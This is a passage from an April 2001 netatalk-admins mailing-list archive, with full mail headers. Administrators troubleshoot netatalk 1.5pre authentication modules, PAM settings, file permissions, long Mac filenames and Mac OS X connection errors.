os if you need to, or figure out what's going on with pam.

i also liked the other walt's advice on using an rpm.  i've had good experience
with mine.

w

JSherry@goldenbooks.com wrote:

> I'm a linux neophyte. I managed to get netatalk up and running following the
> infamous Anders instructions. Only guest access is an option. If I disable
> guest, I get the error that basically says "couldn't find appropriate UAM on
> your client computer". I've got cleartext enabled. I added -DSHADOWPW and
> recompiled, still no authentication.
>
> I'm running a standard server install of Redhat 7, and added DES, etc. per the
> instructions, frankly 'cause I found it easier ultimately to add all
> authentication options than to find all the lines to comment out, when I was
> compiling.
>
> Any tips would be appreciated.
>
> Jonathan Sherry
> Manager of Publishing & Production Systems
> Golden Books

From netatalk.administrators-errors@umich.edu  Fri Apr  6 15:25:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23315
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 15:25:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA10020
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 15:25:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA10000
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 15:25:23 -0400 (EDT)
Received: from post.xecu.net (post.xecu.net [216.127.136.211])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA09845
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 15:25:18 -0400 (EDT)
Received: from pippin.fred.net (gandalf.cust.planetcable.net [24.137.17.39])
	by post.xecu.net (Postfix) with ESMTP id 7DCF847B1
	for <netatalk-admins@umich.edu>; Fri,  6 Apr 2001 15:25:12 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010406151320.01af6ab0@fred.net>
X-Sender: pippin@fred.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 06 Apr 2001 15:24:54 -0400
To: netatalk-admins@umich.edu
From: Walt <pippin@fred.net>
Subject: RE: Guest Access only, no authentication
In-Reply-To: <001844F8.C21126@goldenbooks.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

In Mac OS versions prior to 9, I think you have
to install the Mac AppleShare Client 3.8.6
update to get better passwords...

I am a lousy one to give advice, however, since
I keep having permissions errors with every
install of Netatalk since I attempted 1.5pre5
including a patched version that I installed from
source. *Sigh* Oddly enough, even when I
uninstalled it and switched back to 1.4+asun,
my Mac client still uses a somewhat invalid
permission scheme (Creates files 666 instead
of 775) and it seems to have problems saving
from certain applications. Patiently awaiting
next release and wishing I knew C. :-)

Walt

-~

     It is easy to build a philosophy.  It doesn't have to run.
                         Charles Kettering


From netatalk.administrators-errors@umich.edu  Fri Apr  6 15:28:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23409
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 15:28:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA06597
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 15:28:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA05240
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 15:28:38 -0400 (EDT)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA04383
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 15:27:42 -0400 (EDT)
Received: from terrascope.com (localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.11.0/8.11.0) with ESMTP id f36JaOb15809;
	Fri, 6 Apr 2001 12:36:24 -0700
Sender: walt@dionysus.terrascope.com
Message-ID: <3ACE1AB7.702559E6@terrascope.com>
Date: Fri, 06 Apr 2001 12:36:24 -0700
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: JSherry@goldenbooks.com,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Guest Access only, no authentication
References: <001844F8.C21126@goldenbooks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

here's my /etc/atalk/afpd.conf:

Daphne -address 192.168.xxx.xxx -transall -uamslist uams_dhx.so -nosavepasswd

it works, but like i said only w/ os 9 or later.

w

JSherry@goldenbooks.com wrote:

> my login attempts were from OS 9.1. Cleartext would be fine. I disabled guest by
> specifying only uams_clrtxt.so in my uamlist. Of course I tried adding other
> non-guest UAMS to the list, even though I'm not certain the Mac OS supports
> them. Which UAM are your users currently authenticating with?
>
> Guess I'd better try the RPM. :)
>
> -----Original Message-----
> From:     Walt Reed <walt@terrascope.com> at Internet-RAC
> Sent:     Friday, April 06, 2001 11:20 AM
> To:     Sherry, Jonathan; netatalk-admins@umich.edu at Internet-RAC
> Subject:     RE: Guest Access only, no authentication
>
> are you running os 9?  i've had problems with user authentication from 8.6 and
> earlier.  once i moved everyone to os 9 i was able to disable cleartext
> passwords
> on the shares.  i'm running 1.5pre3 on redhat 7.0 boxes.  you might try adding
> "-uamlist uams_clrtxt.so" to your afpd.conf if you are using one of the 1.5preX
> (just to get a login, then you can config for crypto later).  if you are
> suddenly
> able to log in, you know it's a uams issue.  then you can either update the mac
> os if you need to, or figure out what's going on with pam.
>
> i also liked the other walt's advice on using an rpm.  i've had good experience
> with mine.
>
> w
>
> JSherry@goldenbooks.com wrote:
>
> > I'm a linux neophyte. I managed to get netatalk up and running following the
> > infamous Anders instructions. Only guest access is an option. If I disable
> > guest, I get the error that basically says "couldn't find appropriate UAM on
> > your client computer". I've got cleartext enabled. I added -DSHADOWPW and
> > recompiled, still no authentication.
> >
> > I'm running a standard server install of Redhat 7, and added DES, etc. per the
> > instructions, frankly 'cause I found it easier ultimately to add all
> > authentication options than to find all the lines to comment out, when I was
> > compiling.
> >
> > Any tips would be appreciated.
> >
> > Jonathan Sherry
> > Manager of Publishing & Production Systems
> > Golden Books


From netatalk.administrators-errors@umich.edu  Sat Apr  7 08:02:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA21315
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Apr 2001 08:02:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA12460
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Apr 2001 08:02:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA12441
	for netatalk.administrators-members@umich.edu; Sat, 7 Apr 2001 08:02:51 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA12392
	for <netatalk-admins@umich.edu>; Sat, 7 Apr 2001 08:02:48 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id NAA15602;
	Sat, 7 Apr 2001 13:02:44 +0100
Date: Sat, 7 Apr 2001 13:02:44 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: "Christopher M. Anderson" <cma@uri.edu>
cc: netatalk-admins@umich.edu
Subject: Re: Permissions for creating files
In-Reply-To: <v01550104b6f3a422c0db@[131.128.89.102]>
Message-ID: <Pine.LNX.4.21.0104071302010.15545-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

You want to look at the patch in the current CVS tree to
libatalk/adouble/ad_open.c which changes O_RDWR to mode.

That ought to fix your problem.

On Fri, 6 Apr 2001, Christopher M. Anderson wrote:

> Hello all,
> 
> I'm running netatalk 1.5pre5 on a 2.2.17-14smp kernel (redhat 6.2
> distribution).  I can see the linux box in the chooser, connect via tcp,
> and open and manipulate existing files.  However, whenever I copy a file
> from the mac to the linux box, or try to save a file from a mac application
> to the linux box, I get the message:  "The item <item> cannot be written
> because it is locked."
> 
> Wading through the .AppleDouble directory (permissions 711), existing linux
> box files have permissions 600 and an empty file by the name of the file I
> tried to save/copy with permissions 000 (hence the locking?).  Similarly,
> if I try to trash an existing linux file, I am told I do not have
> permissions.
> 
> I think there are some clues in my /messages log, but I'm new enough to
> linux not to know what they mean:
> at login:
> Apr  5 23:04:52 bandit afpd[19308]: dhx login: xyz
> Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Success -- No such
> file or directory
> Apr  5 23:04:52 bandit PAM_pwdb[19308]: (netatalk) session opened for user xyz b
> y (uid=0)
> Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null) --
>  Inappropriate ioctl for device
> Apr  5 23:04:52 bandit afpd[19308]: login xyz (uid 500, gid 100)
> 
> Then, when I try to copy a file:
> 
> Apr  5 23:05:06 bandit afpd[19308]: setdirowner: chown -1/0 .AppleDouble/.Parent
> : Operation not permitted
> 
> Am I having an authentication problem when I login through appletalk, and
> that's preventing me from getting thr right permissions to create files
> (and if so, how do I fix it), or do I have a something set incorrectly
> within netatalk?
> 
> Thanks for any ideas,
> 
> Chris
> 
> 

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sat Apr  7 13:35:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28630
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Apr 2001 13:35:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13269
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Apr 2001 13:35:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13242
	for netatalk.administrators-members@umich.edu; Sat, 7 Apr 2001 13:35:10 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA13183
	for <netatalk-admins@umich.edu>; Sat, 7 Apr 2001 13:35:09 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA22132
	for <netatalk-admins@umich.edu>; Sat, 7 Apr 2001 19:30:49 +0200
Message-ID: <3ACF4ECB.2479835A@euc.de>
Date: Sat, 07 Apr 2001 19:30:53 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: one step further
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

HEY!

after fiddling with everything here and there...

installing netatalk-1.5pre5 on suse distribution Kernel 2.2.16

I've copied the sources to the linux-server

then patched the ad_open.c file as mentioned before, then 

./configure --enable-suse --with-shadow --with-pam --with-flock-locks

resulting in a version, where only guest can log in, but having no problems
with file permissions.

Then I edited the /etc/pam.d/netatalk file to:
auth       required     /lib/security/pam_unix.so 
account    required     /lib/security/pam_unix.so 
#password   required    /lib/security/pam_cracklib.so
#password   required    /lib/security/pam_pwdb.so shadow use_authtok
session    required     /lib/security/pam_unix.so

because I noticed that the requested files for authorisation are not
installed from the package.

After that, it seems to work :)

The .Applevolumes file for a client looks like:
/usr/local/files "test-Server"  allow:@users codepage:maccode.iso8859-1
options:usedots 


This is generating the appropriate umlauts as seen from the console of
the server.
So this should work also in conjunction with samba :) Wow I can kick now
the idea
of a Windump-Server into trash. What a relief.

One thing the messages reporting is:
...
Apr  7 18:21:06 linux afpd[28129]: main: atp_open: Cannot assign
requested address

.. (which one ??) ..


Apr  7 18:21:06 linux afpd[28129]: ASIP started on 192.168.0.99:548(0) (1.5pre5)
Apr  7 18:21:06 linux afpd[28129]: uam : Loading (/etc/atalk/uams/uams_guest.so)
Apr  7 18:21:06 linux afpd[28129]: uam: uams_guest.so loaded
Apr  7 18:21:06 linux afpd[28129]: uam : Loading (/etc/atalk/uams/uams_clrtxt.so
Apr  7 18:21:06 linux afpd[28129]: uam: uams_clrtxt.so loaded
Apr  7 18:21:06 linux afpd[28129]: uam : Loading (/etc/atalk/uams/uams_dhx.so)
Apr  7 18:21:06 linux afpd[28129]: uam: uam not found (status=-1)

... (seems that this file is missing in the package?)

Apr  7 18:21:06 linux afpd[28129]: uam: "Cleartxt Passwrd" available
Apr  7 18:21:06 linux afpd[28129]: uam: "No User Authent" available


I will now do a little testing.. jubel

-- 
--schnipp-- 

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
                                 Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Sat Apr  7 15:01:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00319
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Apr 2001 15:01:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA13962
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Apr 2001 15:01:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA13921
	for netatalk.administrators-members@umich.edu; Sat, 7 Apr 2001 15:01:22 -0400 (EDT)
Received: from daisy.mattinen.org (daisy.mattinen.org [207.228.54.35])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA13862
	for <netatalk-admins@umich.edu>; Sat, 7 Apr 2001 15:01:21 -0400 (EDT)
Received: from [192.168.0.12] (nat-gw.mattinen.org [207.228.54.34])
	by daisy.mattinen.org (8.11.0/8.11.0) with ESMTP id f37J1FP17998
	for <netatalk-admins@umich.edu>; Sat, 7 Apr 2001 12:01:15 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 07 Apr 2001 12:01:15 -0700
Subject: MacOS X Can't Connect
From: "Seth D. Mattinen" <sethm@roller.reno.nv.us>
To: <netatalk-admins@umich.edu>
Message-ID: <B6F4B20B.1363D%sethm@roller.reno.nv.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

My MacOS X (release) and Netatalk server don't seem to want to play
together.

I am running netatalk-1.5pre3-1mdk, which I realize is now at pre5. The
MacOS X machine is at work, the Netatalk server is at home, I'm at home
right now... I'll probably run up through the release tree and see if any
versions of netatalk newer that what I'm running improve anything.

Okay. Now, here's the problem. MacOS X can apparently talk netatalk and
successfully authenticate. However, upon selecting the volume to mount, I
instantly get the "Server has unexpectedly closed the connection" error on
X.

Syslog has this to say about the exchange (note timestamps):

Apr  6 16:14:10 daisy afpd[13248]: ASIP session:548(1) from
207.228.xx.xx:49371(2)
Apr  6 16:14:10 daisy afpd[13248]: dhx login: sethm
Apr  6 16:14:10 daisy PAM_pwdb[13248]: (netatalk) session opened for user
sethm by (uid=0)
Apr  6 16:14:10 daisy afpd[13248]: login sethm (uid 500, gid 100)
Apr  6 16:14:18 daisy afpd[13248]: dsi_stream_read(0): No such process
Apr  6 16:14:18 daisy PAM_pwdb[13248]: (netatalk) session closed for user
sethm
Apr  6 16:14:18 daisy afpd[13248]: 0.56KB read, 8.65KB written
Apr  6 16:14:18 daisy afpd[13248]: Connection terminated
Apr  6 16:14:18 daisy afpd[707]: server_child[1] 13248 exited 1

I'm guessing the problem happens where "dsi_stream_read(0): No such process"
appears in the logs, which is (again, guessing) where it tries to mount the
volume. The two are connected only by the internet; this issue is not
present when the same machine from the same IP is booted under MacOS 9.

Has anyone else come across what I'm seeing here? Ideas? Comments?

--
Seth D. Mattinen  sethm@roller.reno.nv.us  http://roller.reno.nv.us/
PGP Key: http://seth.mattinen.org/pgp.php
Think twice, type once.


From netatalk.administrators-errors@umich.edu  Sat Apr  7 18:18:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA05191
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Apr 2001 18:18:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10395
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Apr 2001 18:18:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10378
	for netatalk.administrators-members@umich.edu; Sat, 7 Apr 2001 18:18:35 -0400 (EDT)
Received: from apollo.cc.macalester.edu (apollo.cc.macalester.edu [141.140.1.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA10352
	for <netatalk-admins@umich.edu>; Sat, 7 Apr 2001 18:18:34 -0400 (EDT)
Received: from [192.168.1.2] ([141.140.105.39])
 by macalester.edu (PMDF V5.2-32 #38670)
 with ESMTP id <01K24JRUS0DI0004KO@macalester.edu> for
 netatalk-admins@umich.edu; Sat, 7 Apr 2001 17:18:14 CDT
Date: Sat, 07 Apr 2001 17:18:37 -0500
From: Alon <arohter@macalester.edu>
Subject: Filename Length Trickery
To: netatalk-admins@umich.edu
Message-id: <3116406356.986663917@[192.168.1.2]>
MIME-version: 1.0
X-Mailer: Mulberry/2.0.8 (Win32)
Content-type: text/plain; charset=us-ascii; format=flowed
Content-disposition: inline
Content-transfer-encoding: 7bit


As some of you might remember, I've been trying to get Mac clients to see 
files on my server that have lengths greater than 31 chars.  After taking a 
brief look at the source code, I changed

globals.h: #define MACFILELEN 31
to
globals.h: #define MACFILELEN 120

which successfully makes Netatalk show the longer-named files to the Mac 
clients.  However, it could of course never be that easy, and I now get the 
error

"The document "xxxxxxxxxxxxxxxxxxxxxxxxxxx" could not be opened, because an 
error of type -37 occurred."

whenever I try to read long-named files from a client (OS 9.04 in this 
case).  I assume the problem has something to do with name-length 
translation between the client and the server....somewhere along the line 
the name must be getting truncated, which is why the file cannot be found.

Now, is there any way I can get this setup to work?, or should I just give 
up all hope now :)  The Finder can obviously handle displaying names of 
length greater than 31, but it is not able to read them properly.  I 
(wrongfully) assumed that the Mac client would truncate to 31 chars on its 
own, if it ever saw long-named files.  Is this something that is fixed in 
OS 9.1 ?  Is this something that can be fixed with some more code hacking 
perhaps?

At this point I'm inclined to write a shell script that'll go thru my list 
of long-named files and place short-named symlinks to them in another 
directory....which I would then share with the Mac clients.  It's really 
ugly and a pain-in-the-ass, but it's the best idea I have right now.

Anybody got any ideas ?

aLoN

From netatalk.administrators-errors@umich.edu  Sun Apr  8 00:58:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA18998
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Apr 2001 00:58:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA04263
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Apr 2001 00:58:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA04244
	for netatalk.administrators-members@umich.edu; Sun, 8 Apr 2001 00:58:25 -0400 (EDT)
Received: from zevils.com (ool-18b85c87.dyn.optonline.net [24.184.92.135])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA04188
	for <netatalk-admins@umich.edu>; Sun, 8 Apr 2001 00:58:24 -0400 (EDT)
Received: from localhost ([127.0.0.1] ident=dukenukm)
	by zevils.com with esmtp (Exim 3.22 #1 (Debian))
	id 14m7HS-0004rH-00
	for <netatalk-admins@umich.edu>; Sun, 08 Apr 2001 00:58:30 -0400
Date: Sun, 8 Apr 2001 00:58:30 -0400 (EDT)
From: Flint Million <dukenukm@zevils.com>
X-Sender:  <dukenukm@zevils>
To: <netatalk-admins@umich.edu>
Subject: multiple AFP servers?
Message-ID: <Pine.LNX.4.30.0104080053160.18560-100000@zevils>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello...
I have been experimenting with the idea of running multiple AFP servers on
one copy of netatalk. I've edited the afpd.conf file to include all the
servers I want to run. Here is the problem: I can change the DEFAULT and
SYSTEM AppleVolumes files, but not the AppleVolumes file for each user.
For example, say I wanted two servers: one for home directory access and
another for access to a Samba-enabled directory - SEPARATE from the
homedir. One might be called "Linux AFP" and the other called
"Windows-compatible Shared"...

Can I tell netatlk to use different USER.applevolumes files as
well as different default ones? For instance, I want the default AFP
server to use ~/.AppleVolumes and the secondary server to use
~/.AppleVolumes.samba

Also, can I restrict certain users from using the secondary server? Say I
have two users: user1 and user2, and user1 should be able to access both
servers, but user2 should only be able to access the first server; if he
tries to access the secondary server, his password is rejected.

 Flint Million
dukenukm@zevils.com



From netatalk.administrators-errors@umich.edu  Sun Apr  8 10:00:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA03195
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Apr 2001 10:00:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA29912
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Apr 2001 10:00:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA29887
	for netatalk.administrators-members@umich.edu; Sun, 8 Apr 2001 10:00:25 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA29829
	for <netatalk-admins@umich.edu>; Sun, 8 Apr 2001 10:00:24 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA25408;
	Sun, 8 Apr 2001 15:55:55 +0200
Message-ID: <3AD06DED.BBA9CDFF@euc.de>
Date: Sun, 08 Apr 2001 15:55:59 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Flint Million <dukenukm@zevils.com>
CC: netatalk-admins@umich.edu
Subject: Re: multiple AFP servers?
References: <Pine.LNX.4.30.0104080053160.18560-100000@zevils>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA03195

Hmm.

Flint Million wrote:
> 
> Hello...
> I have been experimenting with the idea of running multiple AFP servers on
> one copy of netatalk. I've edited the afpd.conf file to include all the
> servers I want to run. Here is the problem: I can change the DEFAULT and
> SYSTEM AppleVolumes files, but not the AppleVolumes file for each user.
> For example, say I wanted two servers: one for home directory access and
> another for access to a Samba-enabled directory - SEPARATE from the
> homedir. One might be called "Linux AFP" and the other called
> "Windows-compatible Shared"...
> 
> Can I tell netatlk to use different USER.applevolumes files as
> well as different default ones?

Yes, you can.

first place in the users home directory the volumes you want them to see.
Then you can edit the /etc/atalk/Applevolumes.default to show a global volume

if you call afpd -u (home directory .Applevolumes first) this should fit.
Also you can tell any volume options like allow:@users deny:user2

 For instance, I want the default AFP
> server to use ~/.AppleVolumes and the secondary server to use
> ~/.AppleVolumes.samba
> 
> Also, can I restrict certain users from using the secondary server? Say I
> have two users: user1 and user2, and user1 should be able to access both
> servers, but user2 should only be able to access the first server; if he
> tries to access the secondary server, his password is rejected.
> 
>  Flint Million
> dukenukm@zevils.com

-- 
--schnipp-- 

best regards
-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Mon Apr  9 07:17:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07383
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 07:17:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA12693
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 07:17:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA12685
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 07:17:03 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA12648
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 07:17:02 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f39BH7j20835
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 07:17:07 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210100b6f74a12fe2e@[216.155.36.73]>
In-Reply-To: <3116406356.986663917@[192.168.1.2]>
References: <3116406356.986663917@[192.168.1.2]>
Date: Mon, 9 Apr 2001 07:17:08 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Filename Length Trickery
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Alon,

	In all honesty, one of the best ways to fix this problem 
involves no programming at all.
	Use Social engineering.

	Let your employees know, through their employee handbook, or 
their initial training, that you can't make filenames greater than 31 
characters.

	Believe it or not, this approach can work.

	Ryan

>As some of you might remember, I've been trying to get Mac clients 
>to see files on my server that have lengths greater than 31 chars. 
>After taking a brief look at the source code, I changed
>
>globals.h: #define MACFILELEN 31
>to
>globals.h: #define MACFILELEN 120
>
>which successfully makes Netatalk show the longer-named files to the 
>Mac clients.  However, it could of course never be that easy, and I 
>now get the error
>
>"The document "xxxxxxxxxxxxxxxxxxxxxxxxxxx" could not be opened, 
>because an error of type -37 occurred."
>
>whenever I try to read long-named files from a client (OS 9.04 in 
>this case).  I assume the problem has something to do with 
>name-length translation between the client and the 
>server....somewhere along the line the name must be getting 
>truncated, which is why the file cannot be found.
>
>Now, is there any way I can get this setup to work?, or should I 
>just give up all hope now :)  The Finder can obviously handle 
>displaying names of length greater than 31, but it is not able to 
>read them properly.  I (wrongfully) assumed that the Mac client 
>would truncate to 31 chars on its own, if it ever saw long-named 
>files.  Is this something that is fixed in OS 9.1 ?  Is this 
>something that can be fixed with some more code hacking perhaps?
>
>At this point I'm inclined to write a shell script that'll go thru 
>my list of long-named files and place short-named symlinks to them 
>in another directory....which I would then share with the Mac 
>clients.  It's really ugly and a pain-in-the-ass, but it's the best 
>idea I have right now.
>
>Anybody got any ideas ?
>
>aLoN

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
"The NeXT Computer: The hardware makes it a PC,
the software makes it a workstation, the unit
sales makes it a mainframe."
-Anon.


